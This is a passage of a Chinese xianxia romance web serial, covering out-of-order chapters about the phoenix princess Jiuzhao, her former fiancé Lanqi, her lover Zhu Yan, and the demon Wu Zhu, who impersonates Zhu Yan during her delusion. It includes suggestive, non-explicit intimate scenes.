业尊,是兰祁的正式称谓,意为“业火淬炼而生的至尊”。 魔之一字,与仙对立,生来带有卑下的含义,只是神仙背地里贬低的私称。 九昭亦跟着拱手客套道:“父神与业尊关切,儿臣不胜感激。” …… 人都到齐,九昭前往神署局述职完毕后,神帝在璇玑宫办了个接风洗尘的宴会。 他座下最尊贵的左侧位置,安排给了远道而来的兰祁。 九昭坐在右侧,又于宴会开始之际,命人将祝晏的席位挪到自己下首的最近处。 见此情形,神帝也只是笑着打趣一句。 他的默认使得众仙看向祝晏的神情益发不同。 宴席觥筹交错,宾客推杯换盏,大有一片煌煌不夜天的气象。 管弦丝竹与欢声笑语交织的喧闹里,扶胥坐在兰祁的下方,小口啜饮玉杯中的酒液,视线聚焦在某处一动不动,偶尔碰上神仙和几位魔族使臣前来敬酒,才片语不发地仰首饮下。 九昭闻听他受了重伤,着意打量他片刻。 却觉得他浑身上下没半点伤重人士的痕迹。 既然表面看不出来,她索性不再费神,转头招架起又一批举杯到来的宾客。 她知晓自己酒量不好,特意叫侍奉的女婢取来鸳鸯酒壶,转动机关,一面是酒,一面是水。 宴席持续良久,九昭对敬酒之人来者不拒,喝了一杯又一杯,神志始终清明。隐居的这些年,她满手案牍政务,在诸位师长的教导下成熟不少,待人接物不复当年目中无人的骄纵模样。 从和祝晏的两心相许,到性情眼界的全然蜕变。 众仙将她的脱胎换骨看在眼里,舌下隐匿不宣的思绪又是一番改变。 其中,最欢喜的莫过于神帝,过去听见臣下们对于九昭的称赞,他清楚只是逢迎与讨好,因此并不多言,今日却一改内敛的态度,频频主动出声赞许,颇有种与有荣焉的骄傲感。 没有哪个儿女,不期盼父母为自己感到自豪。 九昭脸颊红扑扑的,与神帝对酌时,亦将杯中液体换成了仙酒。 连饮三杯,借此抒发内心完成父神所托的真挚喜悦。 …… 月上中宵,万物眠憩时,宴会终于散去。 虽正式宣告了彼此的关系,但到底尚未成婚,不便同进同出,祝晏先行告辞离去。 九昭在璇玑宫的花园里闲逛散了会儿酒气,想到还有事要做,又折返殿中,寻觅神帝身影。 却是来得时机不凑巧。 殿内打扫的仙婢告诉她,半炷香前神帝送别留到最后的魔族使臣,此刻人已前去休息。 九昭只好快步赶往寝宫。 神帝的起居范围内,仙禁森严,无论何等身份位阶,都不得随意动用法术。 九昭既觉醒改变外界对于自身的看法,便老老实实选择用双腿行路。 奈何两地相隔甚远,待到抵达神帝寝宫时,夜又深了许多,统领仙官丹曛立在门外守夜。 见到九昭,她略感惊讶:“殿下,您怎么来了?” “丹曛姑姑,父神可在里头?” 九昭一边问着,一边推开门想要进入。 又被丹曛伸手揽住:“殿下,帝座正在浸浴准备休息,前些日子他忙于征战,大败魔兵后又要处理两族议和以及后续的问题,夙兴夜寐,十分操劳,若无要紧事,您明日再来求见可好?” 神仙不似人族麻烦,特别是高阶神仙,有仙力术法加身,睡眠、沐浴、进食都非必要环节。 九昭与神帝相伴多年,深知他唯有在累极了的情况下,才会浸浴放松。 她没有强行闯入,沉吟几瞬,询问丹曛道:“我也回来的路上,听晏郎提及父神近期辛劳过度,才想漏夜前来问候父神,你既说了父神不便见我,那我问你几句也罢,父神身体可好?” “医官常来请平安脉,言及帝座并无大恙,仅是疲惫,多休息便会好。” 丹曛没多想,回答完九昭的问题,充满欣慰地望着她,仿佛在看一个终于长大的孩子。 继续问答几句,并无异常,九昭才转身告辞。 回去的脚步,较来时慢上许多。 九昭并无困意,她一壁走,一壁慢吞吞地思忖着。 前有祝晏,后有丹曛。 他们都不曾察觉父神的任何异样。 且自己也亲眼求证过,巫逐所述的中了慢毒者混沌、癫狂、神志不清的情形,并未发生。 可见的憔悴也不过是战事加上政务的操劳。 九昭越发觉得自己中了巫逐的诡计。 实则神帝并未中毒,可诞生的心魔却无法消弭。 它糅杂了来自她认知之间太多无法言说的阴暗面。 不知不觉,九昭陷入难解的思绪越来越深。 她出神地绕过一丛枝叶婆娑的灌木,却因未及时驻步,一下子撞上了从另侧现身的人影。 对上坚硬胸膛,最先受痛的,总是鼻尖。 九昭闷哼一声,垂落的长睫模糊了眼前景象,唯余身体在不自觉地踉跄后倒。 膝盖软下的刹那,相撞者及时伸出左手,握住她的臂肘。 以近乎搂抱的姿势将她搀入怀间,九昭才不至于摔倒出丑。 鼻梁的痛楚占据全部意识,九昭并未察觉到彼此的姿势有多暧昧,她借着对方的手臂缓了片刻,疼痛消解,含糊道:“多谢你,只怪本殿先前在出神想事,这才没注意你转出来,你不——” 要紧吧。 取代未尽语义,在眼前浮现的,是四个大字。 冤家路窄。 九昭那覆在面上的端持神姬假面紊乱一息。 她用力拍开搀扶在臂肘下方的手,径直后退一大步,逃也似地离开兰祁的怀抱。 直至回到安全往来距离,九昭悄然变化的表情才恢复镇定。 她喘匀气,抬起目光,若无其事问道:“深更半夜的,业尊不去休息,怎会出现在这里?” 然而,本应作答的另一方,却借着衣袖遮掩,无声捻了捻前端与她相触的指尖。 那一晃未晃的瞳眸静静抬起。 月色映照之下,但见薄绯的唇,冷白的肤。 过于鲜明的对比,如梦似幻,恍若魔障。 令九昭的后颈无端沁出大片肌肤颗粒。 “从扶胥上神到一个九尾狐族庶子,你的眼光真是越来越退步了。” 那魔障一般的青年半启唇瓣,吐出一句嘲语。 110| 第110章 ◎“我钟情你,也只钟情你。”◎ 神帝养子, 兰祁神君。 含章未曜,玉骨隽清。 上至紫微宫之主,下至区区低等仙奴。 他从来温厚亲和, 平等相待, 不自恃身份,亦不仗势欺人。 万年前,在背后不小心听到的,学宫夫子们对于青年的评价, 于九昭脑海猝不及防闪现。 紧接着,一道更加幽微的声音,贴着心底的阴暗处低低响起: 原来再性情平易的君子, 遇到厌恶刻骨之人,也会保持一贯到底的刻薄。 不过谁都已经不是小孩子了。 九昭再不会如通过去那般,被言语讥讽几句,便炸开凤凰毛叉腰上去同他吵架。 她缓了缓心神, 护短地替祝晏说起话来:“本殿记得业尊从前最看不惯以身份血统论高低的人, 怎么堪堪千年未见, 业尊竟也成了当日的自己口中,那等眼界狭隘之辈?” 感情之事, 如人饮水, 冷暖自知。 九昭也不打算在这里,同昔日的未婚夫讨论自己过得有多幸福。回怼完毕, 她转移话锋:“还有, 魔族使臣的住所不都被安排在二清天了吗, 业尊怎么半夜三更会出现在父神的寝宫附近?” 兰祁哂道:“下回, 丹曛的叮嘱别只听半截——焚业海的使臣是在二清天不错, 可神帝独留孤住在扶摇殿, 宴会饮了太多仙酒,神志越发清醒,横竖睡不着,孤便出来转转疏散酒意。” 扶摇殿九昭知晓。 那里一般会用来赐居给有事留在三清天,不方便回去的重要客人。 但它神帝寝宫的东南方,且相隔距离甚远。 除非有其他目的,否则疏散酒意没道理会来到这附近。 不解既在心中发生,九昭顿时目露警觉。 兰祁慢慢走近两步,对着她紧绷的面容俯下身躯:“怎么,怕孤对你的父神图谋不轨?” 他素知九昭并行,一语中的。 却语调未变,神容亦未变地反问:“莫道戍卫三清天的军兵数量几何,光是这寝宫附近,便有数十位法力高强的仙官守护——我焚业海的使臣皆在二清天,孤独身一人,又能做些什么?” 九昭的警惕不减分毫,月夜下随着兰祁动作扩张的瞳孔像极了迎敌的猫:“你既选择与妖魔为伍,我又岂知你暗里藏了多少花招?何况,这几千年以来,你倒是功力渐涨,竟能重伤扶胥。” “都是合离两百年的前夫了,你还如此关心,也不怕祝晏仙君误会。” 从两族相争,别怀用心的大事,下降到阴阳旧爱,鸡毛蒜皮,只需要一瞬。 九昭一时没跟上兰祁弹指转变的思路,又听见他直起身来,抱着双臂,兀自笑了声:“也对,孤忘了九昭殿下一向如此,胸怀广阔,一颗博爱之心能容纳世间万千。” 若非见识过兰祁的真面目,明白他究竟有多厌恶自己。 九昭差点以为他句句带刺的指摘,是在争风吃醋。 ……呸! 什么争风吃醋。 说起这个词,一阵不适的恶寒就在身体蔓延开来。 九昭在心中恶狠狠地连呸几声,将兰祁翻来覆去骂了个痛快。 方才轻抬荷面,端起庄重疏离的神姬架子,半是客气,半怀警告地提醒道:“什么博爱,什么广阔,业尊的话,本殿倒是听不懂了。不过散完酒气业尊还是早点回去吧,免得这夜深露重黑灯瞎火的,被守卫的仙官们误认成刺客扣押起来——那对三清天和焚业海的邦交也是无益的。” 她这话明显就是下逐客令了。 就差直接对着兰祁说“话不投机半句多,看见你就心烦”。 可被警告的一方,却是半点自知之明也无。 他如渊停的高山般立在九昭身前,不错眼地注视着她。 过去作为沉默的跟班,兰祁身量虽高,却总有种说不出的少年单薄。此刻再看,纵使九昭不愿承认,那过于明显的身高体型差距,总叫她有种弱小猎物碰上巨大猛兽的不适感。 不适感在兰祁直勾勾的眸光中越发明晰。 就在九昭的凤凰毛一根一根竖起,将要维持不住高冷神姬的伪装时,他眼波微荡,转而继续说起牛头不对马嘴的话:“扶胥被孤重伤,又何止这次,原来你真是什么都不知晓。” 说完,他抛下满头问号的九昭利落走了。 没半点留恋,也不曾遗下一道眼风。 …… 经历过心魔幻境,层层磋磨,九昭好容易才与过去的自己和解。 她放下了兰祁,也放下了扶胥。 不再交织过多的爱恨,再度相遇亦能保持平稳镇静。 然而,兰祁最后留下的一句谜语似的话,又成功令九昭满脑子只剩下他。 什么重伤不止一次。 什么原来她全都不知道。 她该知道什么? 这些话中的关联又是什么? 九昭绞尽脑汁,只记得两百年前,她未与扶胥合离之际,他也伤重过一次。 父神说是派人追击兰祁时,不小心中了埋伏,被凤凰真血之力所伤。 她也询问过这另一半真血源于何人。 父神的回答是还未到说与她听的时候。 兰祁原身为仙草,是木属性的神仙。 九昭自然也不会把另一半凤凰真血的持有者,往他那处想。 思来忖去,想不明白。 仿佛除她之外,所有身边人都背负了无数秘密。 九昭决心在与神帝说起巫逐的秘密时,再好好问一问当年相关的事宜。 她飞回离恨天,阔别多年,奉命值守的缃璧见到她,又是好一阵相拥哭泣。 等一切安顿下来,又花费大半个时辰。 九昭饮了醒酒汤,浸浴过后换上轻柔的亵袍。 她撩开衾被坐上床去,一双有力的臂膀自后袭上。 “谁?” 九昭不自觉地用上了扶胥传授过的体术,抬肘凌厉向后一击。 却半道被人张开的手掌密密包裹:“昭娘,是我。” 解除了隐匿术的祝晏自大床的里处显出身来,一手揽住九昭的腰肢,一手则环在她的颈侧。 亲昵的姿势不同以往。 再加上祝晏由于体弱,经年低于常人的体温。 仿佛一条冰凉光滑的巨蟒自腰间而上缠绕。 出于本能,九昭的身体僵直一瞬,又感觉到有轻柔的吻落在腮旁。 祝晏的唇是温热的。 温热得正好。 “抱歉,是我不让缃璧她们提前告诉你的—— “我好想你,心脏想你,身体也想你。 “昭娘,我想……” 后头几个字被磁性且含糊的话音吞没。 那话音逐渐化作火苗,自耳廓开始,游走于九昭四肢百骸的各处。 欲念的缺口经吻打开。 九昭体内的另一个自我亦在诚实表达着对于祝晏的思念和渴望。 理智尚存,她反手拢着祝晏解衣的指尖,迟疑问道:“晏郎,你的身体可还好……?” 话未完全出口,祝晏温静若水的神容,第一次出现尊严被质疑的轻微懊恼。 他的臂膀更紧了些,齿尖咬上她的耳垂,沉声道:“昭娘一试便知。” …… 携云赴梦,巫山已极。 不同于巫逐所创造出来的心魔幻觉,切实拥抱爱人的亲密无间,令九昭说不出的满足。 她扯过衾被,盖住彼此,丝制布料隆叠出暧昧弧度。 她缓缓俯落腰肢,整个人趴在祝晏胸膛,额头沁出的热汗被青年随手抹去。 “昭娘为何这么晚才归来?” 并无长簪束髻,她鸦黑色的发丝倾泻如瀑,与铺在床面的银发错杂在一处,而后又被祝晏小心翼翼地拣出一绺,黑白交绕着缠在他的食指,他沙哑的尾音隐有喘息。 九昭本不欲道出自己夜半邂逅兰祁的经过,但想到夫妇一体,蓄意隐瞒终归会留下祸患,遂坦诚道:“疏散酒气的路上遇到了业尊,同他交谈了几句,所以耽搁了。” “业尊?” 九昭看不到的明处,祝晏潋滟涣散的眸光瞬间聚焦起来。 他状似闲聊般地问着:“业尊都和昭娘说了些什么?” “也没什么,不过是相看两相厌,互相试探嘲讽几句罢了。” 九昭回答的态度没有半分回避,说起“相看两相厌”一词更是真心实意。 见她对兰祁的疏远冷淡不假,祝晏才稍稍放松下来:“两族议和在即,业尊这位战败方难免心绪不平,若真能促成和平,昭娘对他的挑衅言辞,能忍便忍了吧,横竖胜负的事实摆在眼前。” 九昭本也懒得计较。 她既归来,一言一行便代表着三清天颜面。 真论起来,宽容并非软弱,丢脸的反倒是兰祁。 输了战争,还输了气度。 九昭半阖着眼睛,低低应了声,表示对于祝晏想法的赞成。 气氛随即陷入温情的沉默。 快意残留在脑海,四肢懒倦倦地不想动弹。 九昭像条纤细的白蛇盘在一起,相接处也不愿抬髀抽离。 困意渐生,即将入睡时,她的耳畔传来祝晏近似自言自语的呢喃:“可说句心里话,我虽清楚自己的念头很自私,却还是庆幸他最后选择了叛天……否则他那么好,又怎会轮得到我。” 自卑,是祝晏和她相爱后经常出现的情绪。 九昭一时觉得他的话被人听见简直大逆不道,一时又觉得可怜可爱。她打了个哈欠,掐住他的侧脸:“祝晏就是祝晏,何须同他人相较?这世上千好万好的人许多,我偏偏一个都看不上。 “我钟情你,也只钟情你。” 祝晏笨拙地眨了眨眼。 分明方才她更换种种姿势的人是他,偏生眼下又分外纯情地红起耳廓来。 心火倏忽燃起,她改掐为磨,指甲沿着下颌线滑落,来到祝晏颈间,勾了勾他的喉结。 “还要再来吗?” 其实用不着给出答案。 她已然实实在在感受到了。 忽略眼前电光火石间,出现的巫逐假扮的那张,瞳孔暗淡的脸。 九昭顿了顿,再度露出笑意,将衾被拉过头顶。 奈何唇未印上,那神容不自觉填满期待的青年陡然捂嘴,剧烈咳嗽起来。101| 第101章 ◎“要不要玩一次我上回提过的游戏?”◎ 难道努力了这么久, 自己终于成功了? 幸福发生得太快,令巫逐有些不敢相信。 他尝试着询问九昭:“……昭娘,你可知晓我是谁?” 九昭想也不想, 亲昵地嗔怪他道:“你是晏郎啊, 怎么问我这种问题,难道被火烧傻了?” 虽然说起一些特定的关键词,或许会导致对方意识受到刺激清醒过来。但巫逐向来多疑,他掌控不了九昭的全部, 便悄悄催动蛰伏在九昭心脉的魔血,试图窥探她此刻的心情变化。 还是那句话。 嘴可以舌灿莲花、颠倒黑白,心却骗不了人。 人在撒谎的过程中, 会为着谎言可能被揭穿的压力而心跳加快。 他小心翼翼操控着魔血,待到与九昭的心绪建立牵系。 才用类似玩笑的语气说着:“是啊,总是闷在这里,脑子都变迟钝了不少。昭娘, 我都有些记不清了——我是九尾狐, 这里是你们凤凰族的神树, 所以我到底是怎么进来的?” “自然是因为我们签订了血契。” 魔血连接的那头,九昭的心脏依旧平稳跳动, 毫无异常。 只是出口的话音间, 多了几分对于巫逐的担忧,“在我进入树心前, 你执意追到了凤凰族圣地, 说修炼涅槃凤火万般凶险, 你怎么放心让我独自在其中承受煎熬, 生一起生, 死一同死。 “我反复劝阻你不得, 这才跟你缔结了血契,如此你便能寄身在灵台里被我带进去,也不会因为是异族的缘故,被元初之火视为敌人,直接烧死——这些你全都忘了吗?” 说着,她用手背贴住巫逐额头,感受他的状态。 又自责地增添几句:“我就知道,虽然用了讨巧的手段,但你身体本就孱弱,怎么可能不受到元初之火的影响……身体这么烫,你可有不舒服吗,心口痛吗?都怪我,当初应该坚决阻止的。” 没等巫逐如何打探,她自发构建了一套前后对应的逻辑。 甚至补全了“祝晏”这一外族,不被凤凰神树排斥,反而能安稳待在其中的漏洞。 这听起来很合理。 九昭的心跳频率全程没有加快过一瞬,反而为着刚刚修炼完毕,仙识十分虚弱,跳得还要比寻常缓慢不少——心魔和神魂不稳的双重叠加下,她的记忆似乎真的受到了一定程度的扭曲。 抹去身畔巫逐的存在,将他一心一意想象成渴望见到的那个人。 这不仅仅是心魔的作用,更是人在负面影响过重的情况下,形成的一种自我保护机制。 忘掉那部分令人厌恶且无力改变的现实,将其替换为内心视作美好的东西。 某种意义上来说,巫逐这么久以来的努力的确成功了。 可想到自己被九昭的大脑当成最不堪的记忆抹除,他的内心又莫名地升起几分不舒服。 不过他还是尽职尽责地演戏。 这些年,九昭已然对于播放在她脑海的各种画面有了抗性。 心魔成长到一定地步后,再无任何寸进。 如此距离巫逐的预期还相差一大截,不如借着“祝晏”的身份同她温存亲近,被心魔影响的误认只是暂时的,待到幻觉消退,她清醒过来时,察觉自己背叛了祝晏,心绪定会进一步崩溃。 巫逐所行的计划一直都很明晰。 他正酝酿着下一步的试探和要求,那趴在他怀抱休息了片刻的九昭,却先行支起身子。 她双手捧着他的面孔,来回检查着,捕捉到一处跟记忆里迥然的区别时,又担心地问道:“晏郎,你的眼睛怎么了,看起来雾蒙蒙的……是被火熏坏了吗?” 巫逐的呼吸微微停顿。 他转念思忖着,在九昭主动形成的一套逻辑下,自己身上的不合理之处,都会被她自行寻找借口合理化,便随便扯了个谎言道:“可能是因为树心里越来越热,眼睛被熏得有些充血干涩。 “昭娘不用担心,等出了这里,将养一段时日总会好的。” 九昭“唔”了声,没再纠结下去。 她好奇地伸出手,来回抚摸着巫逐半掩失明瞳孔的漆黑长睫:“就算暂时看不见,晏郎的眼睛也还是很好看……从前像两块清透的翡翠,现在变成了深邃的碧潭。” 她不吝惜地赞美着心中爱侣的一切。 无论优点,抑或缺点。 这是彼此清醒时,巫逐从未享受过的待遇。 他终年冰冷的心脏,亦在充满柔情的触碰中,被九昭温暖的手掌融化掉了外面的硬壳。 他甚至不自觉地,期待起更多。 想到便做,反正这一切都是为了壮大九昭的心魔。 他反握住九昭清瘦不少的手腕,抵在唇边轻咬一口凸起的指节。而后模拟祝晏的口吻,半是委屈半是撒娇道:“昭娘,自从你进了这里,总是忙着修炼,已经好久没陪过我…… “我好想你,也很想吻你。” 九昭歪了歪头:“你想吻我,何时只会用嘴说?” 话音未落,她飞快垂首,唇瓣已经覆了上去。 这是一个蜻蜓点水般的吻。 九昭没有任何迟疑,仿佛在亲吻一块易碎的珍宝,轻轻吮过巫逐的唇角。 待出现一瞬空白的大脑回笼神志,巫逐感觉到自己的心脏竟然砰砰砰地剧烈跳动起来。 这块自打形成,便常年安静匍匐在胸腔中的血肉。 被辱骂折磨时甚少出现起伏。 将敌人的头颅一刀砍下时几乎没有波动。 却在每每与九昭的拉扯对峙之中,突然没有任何征兆的失控。 不规律的跳动声越来越大,如同月夜的海潮,在巫逐的耳畔急速上涨。 分明被迷惑的是九昭,两人相处的主导权,却还是回到了意识不清的她手上。 她凑近他的耳廓,压低声线:“晏郎,趁着难得有空,要不要玩一次我上回提过的游戏?” 游戏。 这又是她从哪里臆想出来的环节? 心魔不曾成长,巫逐一直只能读取她脑海最浅层的记忆,且是断断续续。 他对这个所谓的游戏毫无印象。 吞咽了口干涩的唾液,低低道:“什么游戏,我竟是,又不记得了……” “是真不记得,还是因为害羞?” 九昭促狭地笑了笑。 她慵懒的笑声里,带着几分爱侣亲昵时才会出现的不怀好意,又在他耳畔解释几句。 “就是话本里看到过的。 “将你绑起来。 “嗯,再加上些别的。 “应该会很快乐……” 意思固然隐晦,但巫逐听懂了。 他本就缺乏正常人应有的羞耻之心,将自己和九昭放入相对应的场景设想一下,没什么排斥的感觉,甚至隐隐有些期待,便微一颔首,干脆说了句:“好,只要昭娘高兴便好。” 九昭又笑了一下。 抬手握住巫逐的半边面孔,在高热的元初之火燃烧下,她那比常人还要热上一些的掌心竟带上了一丝奇异的微凉,巫逐不自觉地磨蹭着她,身体被挑起的火焰节节攀升,急需寻找发泄口。 “别着急嘛。 “像个小狗似的。 “从前,倒是不见晏郎你如此主动。” 九昭看似羞辱的话,也透着十成十的溺爱。 这话,她对曾经不是祝晏状态下的巫逐也说过。 相似的东西,总是令人很难抑制住对比之心。 一边是彻骨的厌恶,一边,则是无限的耐心和优容。 顿时,巫逐的心仿佛被毒蜂的微针扎了一下。 血肉被腐蚀消解,流淌出乌黑的脓液。 这又是一种全然不曾产生过的心情。 没等巫逐品味出是什么,九昭掌心变出的打神鞭,已经缠绕上他的肌肤。 …… 事后。 打神鞭仍然捆绑在身体间,半勒着四肢,带来血液不畅的冰凉和酥麻感。 九昭并没有碰他。 她口中所说的“玩个游戏”,仅是单方面对于巫逐的玩弄。 打神鞭可以无限伸长,也可以变粗或者变细。 迎合着她的心意,柔韧的鞭身曾束缚过他躯体的任何一个部分。 崩坏的快乐。 深深浅浅的折磨。 他变成了一座死灰复燃的火山。 而滚烫的岩浆是否能够顺着缺口痛快倾泻,全凭借九昭的一时心情。 她带给了巫逐许许多多个前所未有。 他横过来飘在虚空之中,意识成了一艘小舟,起伏、跌宕、飘摇。 九昭平静面色时,巫逐仍然在不自觉地吐舌喘气。 “你喜欢吗?” 她清洁干净手指,笑盈盈询问。 回答她的是,是巫逐鼻腔断断续续溢出的呜咽:“喜、喜欢。” “晏郎,要说清楚。” 九昭的耐心很好,“是喜欢我,还是喜欢这个。” 巫逐失控的部分又抽搐了一下,勉强聚焦的理智,终于想出个能够取悦对方的回答: “因为喜欢你,所以不管你对我做什么,都很快乐——” “晏郎,好听话……” 九昭一向高傲的语调,何时放的这样轻,这样柔软过。 是一汪春水,缓缓流经所有缺乏感情的干涸土地。 巫逐只觉得自己的某些地方也融化了。 他的面孔又被九昭拢在掌心,馥郁的玫瑰香气伴随她的弯腰一同靠近。 巫逐模模糊糊意识到,她似乎又想亲吻自己。 于是勉力扬起脖颈靠近。 然而。 等了许久。 得不到满足的他黏糊着,想要去回握那双将自己高高捧起的手。 却意外迎来了极其清脆的响声。 “巫逐,你这条下贱的畜生,到底对我做了什么?!” 102| 第102章 ◎“巫逐,我错了。”◎ 听见九昭陡然清醒过来的声音。 巫逐又勾起尾指, 牵动了一下魔血。 不出意外,九昭的心绪再次有了激烈的起伏。 看来是修炼过后最虚弱的阶段已经过去了,她的身体不再受到心魔蛊惑, 回归了清醒。 本着血契牵制的双方, 不能互相伤害的原则,九昭的耳光扇在脸上其实并没有额外的感觉。 叫巫逐在意的,是他的心脏抽搐了一下,突然传出一点似有若无的痛意。 被这点痛意刺激着, 他随手扯开身上缠绕的打神鞭,一边整理衣物,一边坐了起来, 态度极力表现出满不在乎:“怎么,不过是被魔血引诱着和我玩了玩而已,有必要羞愤到这个地步吗?” 九昭收回打神鞭,用颤抖的左手指着他的鼻尖:“你、你真是不知廉耻!” “廉耻。 “那不是用来规训那些三清天老古板神仙的吗?” 巫逐耸了耸肩, “我都已经入魔了, 还在意这些做什么?” 他又故意眯起双眼, 装作回味地舔过唇角,嘲讽道:“幸好这里发生的事情, 除了你和我以外不会有第三个人知晓, 否则要是传到你那个一贯做作的晏郎耳里,指不定得肝肠寸断成什么样。” “谁允许你那张脏嘴提他名字的!” 也顾不得巫逐此时此刻还顶着祝晏的皮囊, 九昭一鞭子抽了过去, “我迟早会杀了你!!” 鞭稍悬在咫尺间, 转瞬被一道鲜红的禁制阻隔, 再难寸进半分。 巫逐避也不避地站在其后, 抱起手臂, 轻轻微笑道:“杀了我,好啊——横竖殿下的鞭子或者仙术对我都是无用的,不如换个办法,让我活生生/爽/死/也好。” “你!” 咯咯。 骤然响起的,是九昭入耳他的话后,气到牙关打战的动静。 论唇枪舌剑,她向来不及巫逐。 过去能随心所欲掌控巫逐的时候,她会用身体的惩罚代替言语的交锋。 如今,她什么都不能做。 和巫逐争吵下去,只能白白被他羞辱。 九昭用指甲狠掐掌心,疼痛是令人冷静的最好工具。 她低下头,消化片刻同巫逐之间已经发生的事实,方惨白着面孔丢下一句:”“同一个魔族讲礼义廉耻,的确是我的想法太可笑了,你不仅不懂羞耻,更没有半点自尊—— “否则,被神志不清的我当成祝晏的代替品,为何还能在这里洋洋自得。” 九昭说完话,如同往常那般将身体转了过去,不再施舍巫逐任何一个多余眼神。 她没发现的是。 这话虽相较咬牙切齿的前几句,要显得平静许多,却恰恰戳中了巫逐最不能提的地方。 他沉默着。 在这个过程里,心底微妙的痛意逐渐扩散到了令他不能忽视的地步。 以至于表情微微都扭曲了一瞬。 罢了。 若顾着自尊。 那么早在几万年前,还不曾被巫劭庇护的时候,他就早应该不堪凌辱去死了。 巫逐深呼口气,神容再次呈现出漫不经心:“是啊,我是卑劣下/贱的魔族,魔族不都是这样吗?只要身体高兴,心情快乐就好,又不吃亏,反正被恶心的是主人你。” …… 为着巫逐的无赖态度,九昭拒绝同他再产生一丝一毫的交流。 莫名的,往日不管对他怎样冷言冷语,用不了多久都会继续黏上来的巫逐,也始终沉默着。 然而,他们陷在彼此冷战的境地里没几日。 九昭被心魔蛊惑着,又犯起了病。 似乎是难以放下自己酿成的错误,她干脆不管不顾,将仙识一直沉浸在元初之火当中。 等到身体到达极限,再也无法承受。 她被迫将其收回,捂着胸口,生生吐出了一口血沫。 仙识急需回到灵台的识海进行沉眠修复,九昭也无法维持住清醒的状态。她猛地伏倒,幸而在神树内生活几年,已经掌握了哪怕在昏迷睡梦保持平衡的要领,这才没有直直坠落下去。 巫逐不必修炼。 实在虚弱的时候,只需要吸取九昭身上的力量就可以。他待在这树心内,除了不得不承受元初之火的热意,其他情况下,都像个寄生虫般无所事事。 因为无所事事,在九昭吐血的瞬间,他便竖起耳朵留神注意。 只不过这次没有像过去一样,冲上去将她扶起抱紧。 不管做人、做仙,还是做魔,都不能太犯贱了。 他恶狠狠地警告自己。 谁知过了没多久,他竟然听见没有动静的九昭,口里又开始念念叨叨一个名字。 “晏郎、晏郎……” 不知是梦呓还是醒了过来。 九昭执拗地重复着这两个字眼。 巫逐拒绝转头。 他不确定九昭是又因虚弱陷入了心魔的幻境,还是故意念喜欢之人的名字来膈应自己。 出于对上次被骂“你没有自尊”的记仇,他也没有试图通过魔血感知九昭的心绪。 直到翅膀破风的声音响起,一双覆着凤羽的赤/裸手臂抱住自己。 “晏郎,你怎么不理我? “是我惹你生气了吗,怎么不回过头来看看我?” 老实说,九昭的手臂并不柔软。 她身上的凤羽是一只凤凰最外层的防御性羽毛,摸起来十分硬挺,边缘还有些薄利。 她天生力气又很大。 巫逐被过分热情地拥抱着,胸膛连续起伏几下,有点喘不过来气。 他依旧沉着脸不予回应。 待到九昭锲而不舍地唤了一声又一声,才冷冷道:“这里没有什么晏郎。” “怎么了,为什么这么凶巴巴的?” 九昭小声嘀咕几句,又松开手臂,绕到了他的面前,“日子过得好快啊……总觉得,我们又是好几天没见面了,是不是我总是忙着修炼,把你给忽略了,你才不开心的,好晏郎?” 忽略。 巫逐差点就要发出冷笑。 若不是有血契约束着,恐怕前几天她打的巴掌印还在脸上。 说到底,疼痛算不了什么。 原本想好变成祝晏的模样,引九昭冲动犯错的是自己。 如今,为替身的身份感到不适的也是自己。 不过,事情终究还要做下去,巫逐想了想,硬邦邦说道:“不许叫我晏郎。” “那要叫什么?” 纵使看不见,巫逐也能感觉到九昭那小狗一般眼巴巴的湿润目光,落在自己脸上。 混沌状态下的她好似有肌肤饥渴症。 没过多久,再次伸出手来,将他一只胳膊牢牢环抱住。 巫逐一时想不出既能避免涉及祝晏,又不会叫九昭出戏的称呼。 别扭几瞬,生硬道: “反正、反正就是什么都不许叫。” “好嘛,不叫晏郎就不叫晏郎……” 九昭答应得很快,没有半点思考眼前一向温柔如水的“晏郎”,为何性格突然强硬起来。她像是疯狂摇着尾巴的幼犬,围绕巫逐打转,软绵绵地讨好道:“那叫心肝,叫宝贝,还是叫夫君?” “——什、什么夫君?” 巫逐顿了顿,反问结巴得更厉害。 九昭却无半分不好意思,含糊且甜蜜的声音低了下去:“都说了,等治好你的弱症……我们就昭告三清天,要成婚的呀,虽然还有几十年才能做到,但是现在叫声夫君应该不过分吧?” 她一下子将脸杵到巫逐面前,唇瓣与唇瓣的相触仅差眉睫之距:“夫君,你不喜欢吗? “不过话说回来……我更想叫娘子……” 九昭的话音黏到仿佛咬上一口,牙关就会拉扯出琥珀般的糖丝。 一丝一丝。 一缕一缕。 糖丝结成蛛网,将没见过什么世面的巫逐彻底捕获——他心底被九昭冷言重伤的隐痛,倏忽之间烟消云散。滚烫的甜意弥漫跳动着的血肉,将其淹没、灌醉、麻痹。 他深吸一口气,又把忐忑的自身封进名为祝晏的躯壳里。 默念了无数遍“我是祝晏,我是祝晏,演戏要逼真,不管说什么都是为了欺骗九昭”—— “不可以叫娘子。” 他义正词严道,“乖乖叫夫君,我才会原谅你。” “夫君、夫君、夫君、夫君。” 九昭笨拙地重复,一句交叠一句,直至将巫逐端着的面容唤得缓和下来。 她同他痴缠了许久。 这次倒没发生什么面红心跳的事情。 两人肩并着肩,由九昭单方面畅想彼此成婚后的场景: “三清天历代的神帝和储君,都和他们的妻子妃嫔分殿而居的。就连我父神母神怕被臣子们诟病,也不例外。我父神每次想要看望母神,如果不用传送阵,光用脚走路,都得好久好久。 “我才不要这样。 “反正我只让你一个人做我的王夫,也不会有什么侧君男宠,成婚以后你就跟我住在一起。 “我要在寝殿里摆满为你搜集的名琴,闲暇无事时,你抚琴,我就迎着春风跳舞—— “晏、夫君,你觉得好不好,我们要永永远远在一起。” 永永远远。 在一起。 哪怕巫逐不会抚琴,不可能住进九昭的宫殿,更不是她心中想要的那个人。 都忍不住为这一刻,她口中描绘的岁月静好而心生一点向往。 他听九昭说了很久很久。 然后摊开掌心,任凭九昭用手指在自己的肌肤上,认认真真写下请求原谅的歉意—— “晏郎,我错了。” 大约叫习惯了这个称呼,想要立刻改正很难。 九昭又犯了小小的错误。 心情变好,甚至有些飘飘然的巫逐没有跟她计较。 在又一次拥抱过后,根据上次幻觉维持的时间,估算着九昭的意识差不多要苏醒过来。 巫逐吐出一口催眠的龙息,叫她睡了过去。 他在旁边陪伴了九昭片刻,无声转过身来,在掌心划下一条代表错误的斜杠。 重新写道: “巫逐,我错了。” 接着缓缓勾起唇角。 103| 第103章 ◎“仿佛这么做,就可以彻底自欺欺人。”◎ 九昭醒了过来。 脑中真切流转的记忆, 提醒着她刚刚跟巫逐发生了什么。 那些风花雪月的设想。 